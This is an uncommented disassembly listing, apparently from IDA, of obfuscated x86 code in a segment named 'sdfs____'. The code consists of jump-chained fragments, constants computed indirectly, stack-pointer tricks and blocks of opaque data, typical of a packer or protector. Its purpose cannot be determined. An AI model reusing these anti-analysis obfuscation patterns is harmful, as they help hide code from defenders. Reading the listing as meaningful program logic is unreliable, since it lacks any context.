		add	ebx, eax
		pop	eax
		sub	esp, 4
		mov	[esp], ecx
		push	76DAh
		mov	[esp], eax
		jmp	loc_5A7E0D
; ---------------------------------------------------------------------------


loc_5A0EC4:				; CODE XREF: sdfs____:loc_5A0180j
		mov	ebp, esp
		add	ebp, 4
		push	ecx
		mov	ecx, 4
		jmp	loc_59E05B
; ---------------------------------------------------------------------------


loc_5A0ED7:				; CODE XREF: sdfs____:005A9444j
		add	edi, 208A0Dh
		mov	edx, edi
		jmp	loc_59D30D
; ---------------------------------------------------------------------------


loc_5A0EE4:				; CODE XREF: sdfs____:005A28C2j
		mov	dl, 4Ah
		xor	dl, cl
		jmp	loc_5AFAEB
; ---------------------------------------------------------------------------


loc_5A0EED:				; CODE XREF: sdfs____:loc_5A0A5Aj
		push	esi
		push	665D2941h
		pop	esi
		xor	esi, 67B16516h
		mov	ecx, esi
		jmp	loc_5A36FE
; ---------------------------------------------------------------------------
aAS		db '€ÌÀé=[',0
		db 0
; ---------------------------------------------------------------------------


loc_5A0F09:				; CODE XREF: sdfs____:005ADE40j
		push	edx
		jmp	loc_5A6D72
; ---------------------------------------------------------------------------


loc_5A0F0F:				; CODE XREF: sdfs____:005AB174j
		add	bl, 7Ah
		push	edx
		mov	dl, 0DDh
		add	dl, 33h
		dec	dl
		or	dl, 46h
		add	dl, 90h
		add	bl, dl
		pop	edx
		add	bl, 21h
		add	bl, al
		sub	bl, 21h
		jmp	loc_59F01E
; ---------------------------------------------------------------------------
		dd 4C481h, 27E90000h
		db 47h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A0F3B:				; CODE XREF: sdfs____:0059F937j
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		or	eax, eax
		jnz	loc_59C6BF
		push	6024h
		mov	[esp], eax
		push	10542A9Fh
		pop	eax
		jmp	loc_5AB3DB
; ---------------------------------------------------------------------------


loc_5A0F5D:				; CODE XREF: sdfs____:005A26F9j
		jz	loc_59FEFB
		neg	ebx
		jbe	loc_5A2E04
		sub	ebx, 0FACFB226h
		push	ebx
		dec	dword ptr [esp]
		mov	ah, 60h
		mov	edi, ecx
		push	eax
		jmp	loc_5AEF37
; ---------------------------------------------------------------------------
		db 86h
		dd 0F601245Ch, 245C86D3h, 885B6601h, 0D9A9E9FCh, 0D301FFFFh
		dd 8324148Bh, 0BE5604C4h, 4, 875EF329h,	0D1E9241Ch
		db 0EEh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A0FAB:				; CODE XREF: sdfs____:0059F4C1j
		jmp	loc_59910F
; ---------------------------------------------------------------------------


loc_5A0FB0:				; CODE XREF: sdfs____:loc_5ABA4Bj
					; sdfs____:005ADA4Bj
		mov	[esp], esi
		mov	esi, 69AE28CCh
		mov	edi, 0BDFBF2A8h
		push	ecx
		mov	ecx, 13C7132Eh
		not	ecx
		and	ecx, 19A7027Bh
		add	ecx, 0FB5D41C1h
		sub	edi, ecx
		pop	ecx
		add	edi, esi
		add	edi, 37D4212h
		pop	esi
		jmp	loc_59F90F
; ---------------------------------------------------------------------------
aMspfqSriusC	db '¬SPfQµÝSRˆîé<—',0   ; DATA XREF: sdfs____:00598F3Co
		align 2


loc_5A0FF2:				; CODE XREF: sdfs____:005A66BAj
		movzx	cx, al
		push	small 566Eh
		jmp	loc_59AEDA
; ---------------------------------------------------------------------------


loc_5A0FFF:				; CODE XREF: sdfs____:0059D54Aj
		push	ebx
		push	edx
		mov	dh, 0ECh
		jmp	loc_5AFD4A
; ---------------------------------------------------------------------------
		dd 89241489h, 0C5B6E9E2h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A1012:				; CODE XREF: sdfs____:005A9A05j
		push	eax
		mov	eax, 74370837h
		sub	eax, 58B1D5F9h
		mov	ebx, eax
		jmp	loc_5AFBAB
; ---------------------------------------------------------------------------
dword_5A1024	dd 9D1C77FFh, 24041158h, 80DDE99Ch, 0E981FFFFh,	5C8F57C6h
					; DATA XREF: sdfs____:00598F18o
		dd 0BACBE9h, 4055800h, 0E9000000h, 6726h
; ---------------------------------------------------------------------------


loc_5A1048:				; CODE XREF: sdfs____:005A9C93j
		sub	esi, edi
		pop	edi
		xor	eax, esi
		pop	esi
		push	esi
		mov	esi, 0B763F1Dh
		sub	ecx, esi
		jmp	loc_5A8984
; ---------------------------------------------------------------------------


loc_5A105B:				; CODE XREF: sdfs____:0059E823j
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	3B6Bh
		mov	[esp], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		push	ebp
		mov	ebp, 4
		add	ecx, ebp
		mov	ebp, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		xchg	ecx, [esp]
		pop	esp
		push	ebx
		push	ecx
		push	ebp
		push	0A315EAAh
		jmp	loc_5A4F41
; ---------------------------------------------------------------------------
		dd 8BF2895Dh, 0C4832434h, 0DBE95304h
		db 68h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A10AB:				; CODE XREF: sdfs____:005B03C1j
		pop	ebp
		jmp	loc_59AAB8
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 0CDh
		dd 1678ED3h, 4C055AD1h,	5159726Dh, 221BD6B9h, 6E18122h
		dd 0F7410B19h, 1CE953D1h
		db 8Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A10D3:				; CODE XREF: sdfs____:005ABBB3j
		mov	edx, 4
		add	esi, edx
		pop	edx
		sub	esi, 4
		jmp	loc_59C31D
; ---------------------------------------------------------------------------
byte_5A10E3	db 68h			; DATA XREF: sdfs____:00598FF4o
		dd 3BE2h, 0BB241C89h, 3Ch, 3CEC68h, 242C8900h, 0FFD6BDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A10FD:				; CODE XREF: sdfs____:005AB33Bj
		pop	eax
		sub	al, 50h
		add	al, bh
		add	al, 50h
		jmp	loc_5A4CA5
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 4EC81h, 0C890000h, 4B924h, 90E90000h
		db 0D3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A111F:				; CODE XREF: sdfs____:005A18F7j
		mov	ebp, 7B127BE2h
		jmp	loc_5AC59C
; ---------------------------------------------------------------------------


loc_5A1129:				; CODE XREF: sdfs____:005AC281j
		sub	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		push	78BDh
		mov	[esp], ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		jmp	loc_5AB04D
; ---------------------------------------------------------------------------
		db 0F7h, 0D1h, 0E9h
		dd 949h
; ---------------------------------------------------------------------------


loc_5A1150:				; CODE XREF: sdfs____:005AE9CEj
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_5AED81
; ---------------------------------------------------------------------------
		dd offset loc_58C324+4
		dw 50F3h
		dd 0CCFE94B4h, 0C480DCF6h, 0C92EE91Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A1182:				; CODE XREF: sdfs____:005A752Fj
		jmp	loc_5A903E
; ---------------------------------------------------------------------------
		db 83h
		dd 0BDE904C4h, 53FFFF9Fh, 7A4B850h, 0E8D14228h,	0A245E952h
		db 2 dup(0)
word_5A119E	dw 77FFh		; DATA XREF: sdfs____:00598EE0o
		dd 58669D1Ch, 24041966h, 0D10BE99Ch, 870FFFFFh,	0E815h
		dd 0E906EAC1h, 0C98Dh
		db 89h,	0F8h
; ---------------------------------------------------------------------------


loc_5A11BE:				; CODE XREF: sdfs____:005AFD6Cj
		xor	edx, 10EA6D25h
		jb	loc_5A209B
		shr	edx, 8
		jnp	loc_5A44B6
		jmp	loc_5A3244
; ---------------------------------------------------------------------------


loc_5A11D8:				; CODE XREF: sdfs____:005A1EC3j
		pop	esp
		mov	[esp], eax
		mov	eax, esp
		push	edx
		mov	edx, 10CF5A85h
		sub	edx, 10CF5A81h
		sub	eax, 34C546A9h
		add	eax, edx
		add	eax, 34C546A9h
		mov	edx, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_5A90A3
; ---------------------------------------------------------------------------


loc_5A1201:				; CODE XREF: sdfs____:005AD0DEj
		push	edx
		push	29286C94h
		pop	edx
		add	edi, edx
		pop	edx
		add	edi, edx
		sub	edi, 29286C94h
		push	ebp
		jmp	loc_5ACDDA
; ---------------------------------------------------------------------------
		db 0B9h, 0Fh, 11h
		dd 16E96CF5h, 83FFFFD9h, 48704C0h, 0CD685C24h, 0E9000004h
		dd 4671h
; ---------------------------------------------------------------------------


loc_5A1234:				; CODE XREF: sdfs____:00599228j
		bts	[esp], ax
		pushf
		jmp	loc_59910F
; ---------------------------------------------------------------------------


loc_5A123F:				; CODE XREF: sdfs____:005A268Aj
		jns	loc_5A2183
		jmp	loc_5ABC3B
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 17BB57FFh, 0C381FB01h, 17BB57FFh, 4C3815Fh, 0E9000000h
		dd 0FFFF80B2h, 9B16D1BFh, 0E9F9213Eh, 2C11h
; ---------------------------------------------------------------------------


loc_5A1270:				; CODE XREF: sdfs____:005A30BBj
		neg	eax
		jmp	loc_5A7C5A
; ---------------------------------------------------------------------------


loc_5A1277:				; CODE XREF: sdfs____:0059AA3Aj
		add	eax, ecx
		push	969h
		mov	[esp], ebx
		mov	ebx, 4B257F48h
		inc	ebx
		xor	ebx, 0B963968h
		sub	ebx, 5F3A7E3Ch
		jmp	loc_5A4505
; ---------------------------------------------------------------------------


loc_5A1298:				; CODE XREF: sdfs____:005A47DBj
		xor	ecx, 5E24F6ADh
		sub	ebx, ecx
		mov	ecx, [esp]
		jmp	loc_5ABAA8
; ---------------------------------------------------------------------------
		dd 0E9B8B151h, 0FFFF8F5Bh
; ---------------------------------------------------------------------------


loc_5A12B0:				; CODE XREF: sdfs____:005AFF4Fj
		push	edi
		mov	edi, 35753909h
		shl	edi, 4
		and	edi, 1C4244B0h
		neg	edi
		dec	edi
		add	edi, 2AA0E76h
		add	edi, 2FDC445Fh
		sub	esi, edi
		pop	edi
		jmp	loc_5A9FCC
; ---------------------------------------------------------------------------


loc_5A12D6:				; CODE XREF: sdfs____:0059935Bj
		shr	ecx, 2
		not	ecx
		sub	ecx, 0C638BB3Ch
		jmp	loc_59F894
; ---------------------------------------------------------------------------


loc_5A12E6:				; CODE XREF: sdfs____:005A76B4j
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_59BC76
; ---------------------------------------------------------------------------


loc_5A12F5:				; CODE XREF: sdfs____:005AAC83j
		push	ebp
		push	2
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_5A248B
; ---------------------------------------------------------------------------


loc_5A1304:				; CODE XREF: sdfs____:00599167j
		sub	esi, 470B5CBCh
		jp	loc_5A5EDE
		add	esi, 4606C15Bh
		mov	ebx, esi
		pop	esi
		add	ebx, eax
		mov	ecx, [ebx]
		pop	ebx


loc_5A131E:				; CODE XREF: sdfs____:005A3BF9j
		xor	ebx, 0FAB7315Dh
		add	ecx, ebx
		pop	ebx
		add	ecx, edi
		jmp	loc_5A383E
; ---------------------------------------------------------------------------


loc_5A132E:				; CODE XREF: sdfs____:005ADD45j
		pop	edx
		pop	ebx
		push	edi
		jmp	loc_5A5B8C
; ---------------------------------------------------------------------------
		dw 0FB01h
		dd 0CC4E9h
		db 0
; ---------------------------------------------------------------------------


loc_5A133D:				; CODE XREF: sdfs____:0059C788j
		add	edx, 0FFFFFFFFh
		push	esi
		mov	esi, 0E51AD12Ch
		jmp	loc_5AE30B
; ---------------------------------------------------------------------------


loc_5A134B:				; CODE XREF: sdfs____:005A8096j
		pop	edx
		xchg	edi, [esp]
		mov	esp, [esp]
		movsx	ecx, ax
		jmp	loc_59C803
; ---------------------------------------------------------------------------


loc_5A135A:				; CODE XREF: sdfs____:005A8FE7j
		and	esi, edi
		pop	edi
		shl	esi, 2
		xor	esi, 0CC100414h
		add	ebx, esi
		pop	esi
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_59AEE3
; ---------------------------------------------------------------------------
		db 81h,	0EBh, 0C9h
		dd 68201A02h, 6956h, 0BF243C89h, 3AE4021Ch, 0FFA277E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A138D:				; CODE XREF: sdfs____:005A6BE9j
		push	edx
		jmp	loc_5A19BF
; ---------------------------------------------------------------------------


loc_5A1393:				; CODE XREF: sdfs____:005ACFB2j
		mov	ecx, esp
		jmp	loc_59B7CF
; ---------------------------------------------------------------------------


loc_5A139A:				; CODE XREF: sdfs____:005A5EEFj
		mov	edi, esp
		push	ebx
		mov	ebx, 0BA14739h
		inc	ebx
		jmp	loc_59B165
; ---------------------------------------------------------------------------
a5xzOsne	db '5x‡ìOée',0
		align 2


loc_5A13B2:				; CODE XREF: sdfs____:loc_5ABFADj
		xor	edx, 0AC5DFB13h
		mov	esi, edx
		jmp	loc_5A2AEA
; ---------------------------------------------------------------------------


loc_5A13BF:				; CODE XREF: sdfs____:005A0874j
		dec	esi
		xor	esi, 483D5DDDh
		add	edx, esi
		push	dword ptr [esp]
		jmp	loc_59DCA7
; ---------------------------------------------------------------------------


loc_5A13D0:				; CODE XREF: sdfs____:005A6854j
		add	esp, 4
		add	esp, 4
		and	edx, 32773A5Ah
		jb	loc_5A529C
		add	edx, 1AAB65F2h
		not	edx
		push	240h
		mov	[esp], eax
		mov	eax, 5F692199h
		add	edx, eax
		mov	eax, [esp]
		add	esp, 4
		push	edx
		add	dword ptr [esp], 6A1B7083h
		pop	ebp
		sub	ebp, 6A1B7083h
		pop	edx
		xor	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_5A6F9C
; ---------------------------------------------------------------------------


loc_5A141D:				; CODE XREF: sdfs____:005AB55Aj
		push	263E0B53h
		jmp	loc_59C566
; ---------------------------------------------------------------------------


loc_5A1427:				; CODE XREF: sdfs____:005ACE22j
		push	ax
		jmp	loc_5A467E
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 4, 8159CD01h, 4C5h, 242C8700h, 0E924248Bh, 0FFFFA6D1h
; ---------------------------------------------------------------------------


loc_5A1448:				; CODE XREF: sdfs____:005A34D0j
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	ecx
		push	dword ptr [esp+4]
		jmp	loc_59C7CA
; ---------------------------------------------------------------------------


loc_5A145C:				; CODE XREF: sdfs____:0059CCE0j
		neg	ebx
		jmp	loc_599CFB
; ---------------------------------------------------------------------------


loc_5A1463:				; CODE XREF: sdfs____:0059D263j
		add	ebx, 2
		jmp	loc_59EC18
; ---------------------------------------------------------------------------


loc_5A146E:				; CODE XREF: sdfs____:0059E167j
		pop	ebx
		shl	dl, 4
		xor	dl, 0EDh
		xor	dl, 6Fh
		jmp	loc_5AEC4E
; ---------------------------------------------------------------------------


loc_5A147D:				; CODE XREF: sdfs____:005A3D0Cj
		mov	[esp], ebp
		push	4
		jmp	loc_59DDD7
; ---------------------------------------------------------------------------
		dw 95B3h
		dd 48E9D908h, 5FFFFBFh,	58F71C6Dh, 8124348Bh, 4C4h, 0E9C20100h
		dd 6A70h
; ---------------------------------------------------------------------------


loc_5A14A8:				; CODE XREF: sdfs____:005A4B95j
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		jmp	loc_5AFC7E
; ---------------------------------------------------------------------------
		dw 3C87h
		dd 0EC815C24h, 4, 89240489h, 4EC83E0h, 53242C89h, 0FE5AFABBh
		dd 95CB8107h, 0E97C3142h, 8A6Bh
; ---------------------------------------------------------------------------


loc_5A14DC:				; CODE XREF: sdfs____:0059B9FEj
		mov	[esp], eax
		pop	esi
		jmp	loc_5A41EA
; ---------------------------------------------------------------------------


loc_5A14E5:				; CODE XREF: sdfs____:0059A052j
		or	[edi+1Ch], edx
		jmp	loc_59D64C
; ---------------------------------------------------------------------------


loc_5A14ED:				; CODE XREF: sdfs____:0059C7E0j
		push	ecx
		mov	ecx, 6ABC578Dh
		mov	ebx, 5CDB681Eh
		xor	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		shl	ebx, 5
		shl	ebx, 7
		jmp	loc_5AED1F
; ---------------------------------------------------------------------------


loc_5A150B:				; CODE XREF: sdfs____:00599C3Aj
		sub	ebx, 8BAB19EEh
		sub	edx, 413417EBh
		jmp	loc_5A8C43
; ---------------------------------------------------------------------------
		dd 0F02E4C0h, 0FFF9DC89h, 0C0CC80FFh, 0FFE9h, 0C6885200h
		db 53h
; ---------------------------------------------------------------------------


loc_5A1531:				; CODE XREF: sdfs____:loc_5A8B85j
		push	ebp
		mov	ebp, 30702F98h
		dec	ebp
		neg	ebp
		jmp	loc_5A9705
; ---------------------------------------------------------------------------


loc_5A153F:				; CODE XREF: sdfs____:005A25CFj
		push	78AB581Fh
		mov	edi, [esp]
		add	esp, 4
		add	[esp+8], edi
		pop	edi
		mov	ebp, [esp]
		add	esp, 4
		pop	eax
		push	ebp
		jmp	loc_59C4C3
; ---------------------------------------------------------------------------
		db 0C0h
		dd 0EC8003E4h, 0E9E30042h, 0FFFFF31Fh
; ---------------------------------------------------------------------------


loc_5A156C:				; CODE XREF: sdfs____:0059CB9Cj
		mov	esi, [esp]
		add	esp, 4
		xor	edi, 66EE4300h
		sub	ebx, edi
		jmp	loc_5AABFC
; ---------------------------------------------------------------------------
byte_5A157F	db 0FFh			; DATA XREF: sdfs____:00598E9Co
		dd 669D1C77h, 2414D259h, 7B81E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A158E:				; CODE XREF: sdfs____:005ABB3Bj
		push	40h
		pop	edx
		and	ecx, edx
		mov	edx, [esp]
		push	edi
		jmp	loc_59B510
; ---------------------------------------------------------------------------
		db 80h
		dd 0C78001EFh, 0CFF6E998h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A15AA:				; CODE XREF: sdfs____:005999A6j
					; sdfs____:005A8D1Cj
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	esp
		mov	ebx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		add	ebx, 4
		jmp	loc_5AABCE
; ---------------------------------------------------------------------------
		dw 1C8Bh
		dd 4C48124h, 81000000h,	4ECh, 24148900h, 0FD2CA2BAh, 6E2C16Bh
		dd 0FFA630E9h, 5FCA81FFh, 0E96EC245h, 0BBF6h
; ---------------------------------------------------------------------------


loc_5A1600:				; CODE XREF: sdfs____:005A2F49j
		push	esi
		jmp	loc_59EB26
; ---------------------------------------------------------------------------


loc_5A1606:				; CODE XREF: sdfs____:0059BC43j
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ecx
		push	esp
		pop	ecx
		push	edi
		mov	edi, 5F8535ECh
		inc	edi
		push	ecx
		jmp	loc_5A1FAD
; ---------------------------------------------------------------------------


loc_5A161C:				; CODE XREF: sdfs____:0059E6F1j
					; sdfs____:005AEBD2j
		mov	[esp], edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		jmp	loc_5AB06E
; ---------------------------------------------------------------------------
		dd 24048F54h, 4F4368h, 242C8900h, 4BDh,	0F11DE900h, 0C31FFFFh
		dd 240C3324h, 4BE565Ch,	52000000h, 9B0B80BAh, 0E9D72912h
		dd 0FFFFAF1Ch, 8159CB29h, 161331C6h, 0E9DE016Bh, 0FFFF8FF8h
; ---------------------------------------------------------------------------


loc_5A166C:				; CODE XREF: sdfs____:005AB49Cj
		xor	ebp, esi
		pop	esi
		add	edx, 7951785Eh
		add	edx, ebp
		jmp	loc_5A86BA
; ---------------------------------------------------------------------------


loc_5A167C:				; CODE XREF: sdfs____:005A0C09j
		add	esp, 4
		push	ecx
		mov	ecx, ebx
		jmp	loc_59FF0E
; ---------------------------------------------------------------------------
		dw 0D8F7h
		dd 903D8A0Fh, 0D8F7FFFFh, 2E088A0Fh, 0D0F70000h
; ---------------------------------------------------------------------------


loc_5A169C:				; CODE XREF: sdfs____:005ACD16j
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_5AA651
; ---------------------------------------------------------------------------
		dd 0A4413EBAh, 0E9D50117h, 0FFFFA891h
dword_5A16B8	dd 240C8B66h, 0FF9749E9h		db 0FFh
; ---------------------------------------------------------------------------


loc_5A16C1:				; CODE XREF: sdfs____:0059CDB6j
		pop	edx
		push	ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_599222
; ---------------------------------------------------------------------------


loc_5A16D5:				; CODE XREF: sdfs____:00599684j
		jmp	loc_59910F
; ---------------------------------------------------------------------------


loc_5A16DA:				; CODE XREF: sdfs____:005A5362j
		xchg	eax, [esp]
		pop	esp
		add	esi, ebp
		pop	ebp
		jmp	loc_59B13E
; ---------------------------------------------------------------------------


loc_5A16E6:				; CODE XREF: sdfs____:0059AB01j
		not	edi
		xor	edi, 4777641Ch
		jnz	loc_59A33B
		jmp	loc_5A9823
; ---------------------------------------------------------------------------
		db 68h,	4, 0
		dd 1590000h
		db 0CBh, 0Ch, 0Ah
; ---------------------------------------------------------------------------


loc_5A1703:				; CODE XREF: sdfs____:005A5082j
		add	ebx, 6D8C6A16h
		jmp	loc_5AA411
; ---------------------------------------------------------------------------


loc_5A170E:				; CODE XREF: sdfs____:0059EE7Dj
		push	6F671B4Eh
		jmp	loc_59AAFF
; ---------------------------------------------------------------------------
		dd 81E6E380h, 2ECh, 0AF8AE900h
		db 2 dup(0FFh)
word_5A1726	dw 53ADh		; DATA XREF: sdfs____:00598F50o
		dd 0F64FCABBh, 0F3814335h, 70C848D9h, 0DBE9D829h
		db 0EFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A173B:				; CODE XREF: sdfs____:0059D302j
		push	esp
		jmp	loc_5A1FC3
; ---------------------------------------------------------------------------
		db 0B9h, 7Fh, 19h
		dd 0CE0165A4h, 81240C8Bh, 4C4h,	0B55EE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A1756:				; CODE XREF: sdfs____:005A96C6j
		jmp	loc_5A99EC
; ---------------------------------------------------------------------------


loc_5A175B:				; CODE XREF: sdfs____:0059DA0Aj
		sub	esi, 74365h
		sub	edx, esi
		mov	esi, [esp]
		jmp	loc_5A9457
; ---------------------------------------------------------------------------


loc_5A176B:				; CODE XREF: sdfs____:0059C7F7j
					; sdfs____:005A9218j
		add	edx, 16AF4873h
		pop	esi
		sub	edx, 4
		push	edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], edi
		mov	edi, 35650A6Ch
		xchg	eax, edi
		push	eax
		not	dword ptr [esp]
		pop	eax
		xchg	eax, edi
		dec	edi
		jmp	loc_5A19C9
; ---------------------------------------------------------------------------
		dw 0BE56h
		dd 4, 0E95EF189h, 150h
; ---------------------------------------------------------------------------


loc_5A17AC:				; CODE XREF: sdfs____:0059B689j
		inc	eax
		inc	eax
		not	eax
		or	eax, 48725A5Bh
		xor	eax, 0FBE797AAh
		sub	edi, eax
		pop	eax
		push	ecx
		mov	ecx, 51BF1693h
		add	ecx, 0F75E059Dh
		sub	edi, ecx
		pop	ecx
		push	2D2h
		mov	[esp], esi
		push	6C8C0070h
		pop	esi
		push	esi
		jmp	loc_59FFAC
; ---------------------------------------------------------------------------


loc_5A17E0:				; CODE XREF: sdfs____:005ACFF4j
		mov	[esp], eax
		mov	eax, 18EDCFDBh
		sub	esp, 4
		mov	[esp], eax
		pop	esi
		pop	eax
		push	ebp
		jmp	loc_5A8CB9
; ---------------------------------------------------------------------------


loc_5A17F9:				; CODE XREF: sdfs____:0059B2DFj
		sub	ecx, 44544F92h
		add	ecx, edi
		add	ecx, 44544F92h
		sub	ecx, 50F312EDh
		sub	ecx, 1C874EB0h
		push	edx
		push	ebx
		jmp	loc_5AB44D
; ---------------------------------------------------------------------------


loc_5A181A:				; CODE XREF: sdfs____:005AADB0j
		add	eax, 4
		add	eax, 4
		push	eax
		jmp	loc_5AC6DB
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 4, 5C241C87h, 68243C89h, 217Fh, 53241489h, 0DEF8E9h
		db 0
; ---------------------------------------------------------------------------


loc_5A1845:				; CODE XREF: sdfs____:0059AFAAj
		xor	eax, 0E801DBF5h
		sub	edi, eax
		pop	eax
		jmp	loc_5AD2D3
; ---------------------------------------------------------------------------
		dw 0E95Fh
		dd 0FFFF9FADh, 4C481h, 0E5810000h, 65670E4Bh, 0B6ED814Dh
		dd 2909EECEh, 0DA055DE8h, 0E94D7716h, 0BF64h
; ---------------------------------------------------------------------------


loc_5A1878:				; CODE XREF: sdfs____:005AF5B6j
		xchg	edx, [esp]
		pop	esp
		add	eax, 6F234138h
		add	eax, ebx
		sub	eax, 6F234138h
		jmp	loc_5A1C1D
; ---------------------------------------------------------------------------


loc_5A188D:				; CODE XREF: sdfs____:005A5743j
		add	esi, 4
		sub	esi, 4
		push	32B7h
		mov	[esp], esi
		push	dword ptr [esp+4]
		jmp	loc_5A5CD0
; ---------------------------------------------------------------------------
		db 0F7h
		dd 3D8D0FD8h, 0D1000020h, 0F3840FE0h, 350000E7h, 7CC0FABEh
; ---------------------------------------------------------------------------


loc_5A18BC:				; CODE XREF: sdfs____:005A4A57j
		pop	esp
		mov	[esp], esp
		jmp	loc_5A54AD
; ---------------------------------------------------------------------------
		db 0BBh, 0EBh, 0A6h
		dd 0EC830713h, 24148904h, 0C62A7CBAh, 6DBF571Dh, 316C9D71h
		dd 403BE9FAh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A18E2:				; CODE XREF: sdfs____:0059BFE8j
		push	6506h
		jmp	loc_5A4AFB
; ---------------------------------------------------------------------------
		dd 50241489h, 7819E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A18F6:				; CODE XREF: sdfs____:005A2881j
		push	ebp
		jmp	loc_5A111F
; ---------------------------------------------------------------------------
		dd 0C8BC801h, 0E3895324h, 4C381h, 0C3830000h, 74FF5304h
		dd 8F5B0424h, 815C2404h, 4ECh, 242C8900h, 0D497E9h, 81E28900h
		dd 4ECh, 240C8900h, 0BB00ECB9h,	4E9C111h, 6E99E949h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A193E:				; CODE XREF: sdfs____:0059BACEj
		mov	[esp], ecx
		push	edx
		jmp	loc_59A196
; ---------------------------------------------------------------------------


loc_5A1947:				; CODE XREF: sdfs____:005AD8B8j
		mov	[esp], edi
		mov	edi, 748040A3h
		xor	edi, 62C121B7h
		xor	edi, 1A075657h
		mov	ebx, edi
		pop	edi
		inc	ebx
		jmp	loc_5A2F68
; ---------------------------------------------------------------------------
		dd 2BF468h, 243C8900h, 1E868h, 0D46CE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A1976:				; CODE XREF: sdfs____:005A5150j
		pop	esi
		jmp	loc_5AE595
; ---------------------------------------------------------------------------


loc_5A197C:				; CODE XREF: sdfs____:005AE392j
		push	dx
		jmp	loc_59D5A6
; ---------------------------------------------------------------------------


loc_5A1983:				; CODE XREF: sdfs____:005A0610j
		add	ch, bh
		mov	ebx, [esp]
		add	esp, 4
		push	68FDh
		mov	[esp], eax
		mov	al, 0CFh
		push	ecx
		mov	cl, 7Bh
		inc	cl
		xor	cl, 0F9h
		or	al, cl
		jmp	loc_5A24C3
; ---------------------------------------------------------------------------
		dd 295FFE89h, 0F6EEE9EEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A19AE:				; CODE XREF: sdfs____:005A01C4j
					; sdfs____:005AF09Aj
		mov	edx, 2427719Bh
		sub	edx, 1A233D75h
		push	edx
		jmp	loc_5ADBC6
; ---------------------------------------------------------------------------


loc_5A19BF:				; CODE XREF: sdfs____:005A138Ej
		mov	edx, 23A3310Fh
		jmp	loc_5A9942
; ---------------------------------------------------------------------------


loc_5A19C9:				; CODE XREF: sdfs____:005A1799j
		jl	loc_5A973B
		xor	edi, 7FF50635h
		jmp	loc_5A9039
; ---------------------------------------------------------------------------
		dw 0E831h
		dd 0A1B58FB1h, 850FDDF6h, 0DC8Bh, 645EE9h, 2434FF00h, 0E6895659h
		db 88h,	0D0h, 5Eh
; ---------------------------------------------------------------------------


loc_5A19F7:				; CODE XREF: sdfs____:005A77FEj
		and	eax, ebp
		jmp	loc_5A4967
; ---------------------------------------------------------------------------


loc_5A19FE:				; CODE XREF: sdfs____:005A7EBAj
					; sdfs____:005A99DFj
		pop	edi
		sub	ebp, 3263944h
		add	ebp, edx
		add	ebp, 3263944h
		sub	ebp, 709B5EF2h
		pop	edx
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_59DDA9
; ---------------------------------------------------------------------------


loc_5A1A1D:				; CODE XREF: sdfs____:005A4BBAj
		jo	loc_59DD5C
		shr	cl, 1
		jmp	loc_599237
; ---------------------------------------------------------------------------
		dw 1DB1h
		dd 0D9C2E9h, 4C68100h, 83000000h, 48904ECh, 9716E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A1A42:				; CODE XREF: sdfs____:0059AA8Bj
		pop	ebx
		add	bl, 0A2h
		sub	bl, ch
		push	ecx
		mov	cl, 12h
		sub	cl, 0D2h
		push	ecx
		not	byte ptr [esp]
		pop	ecx
		jmp	loc_59A812
; ---------------------------------------------------------------------------
		dd 8A4A73B8h, 69AE2D61h, 0F0E919CBh, 810000A9h,	4C4h, 3EED8100h
